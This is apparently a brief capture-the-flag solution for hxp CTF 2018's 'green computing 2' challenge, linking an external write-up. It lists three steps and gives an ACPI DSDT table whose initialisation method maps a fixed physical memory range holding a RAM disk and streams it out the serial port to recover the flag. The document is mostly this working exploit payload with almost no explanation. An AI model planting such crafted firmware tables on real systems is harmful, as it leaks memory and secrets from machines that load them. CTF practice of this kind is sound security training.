[https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2](https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-2)
* create a method to write to the serial port* dump the ram disk containing the init.gz* extract flag
```haskellDefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002){    Scope (\)    {        OperationRegion (DBG, SystemIO, 0x3f8, One)        Field (DBG, ByteAcc, NoLock, Preserve)        {            DBGB,   8        }
        Method (DBUG, 2, NotSerialized)        {            Local1 = Arg1            Local2 = Zero            While ((Local2 < Local1))            {                DBGB = DerefOf (Arg0 [Local2])                Local2++            }        }
        Method (_INI, 0, NotSerialized) {            OperationRegion (PWN1, SystemMemory, 0x538df000, 0x1000)            Field (PWN1, AnyAcc, NoLock, Preserve)            {                MEM1, 0x8000,            }
            DBUG(MEM1, 0x1000)        }    }}```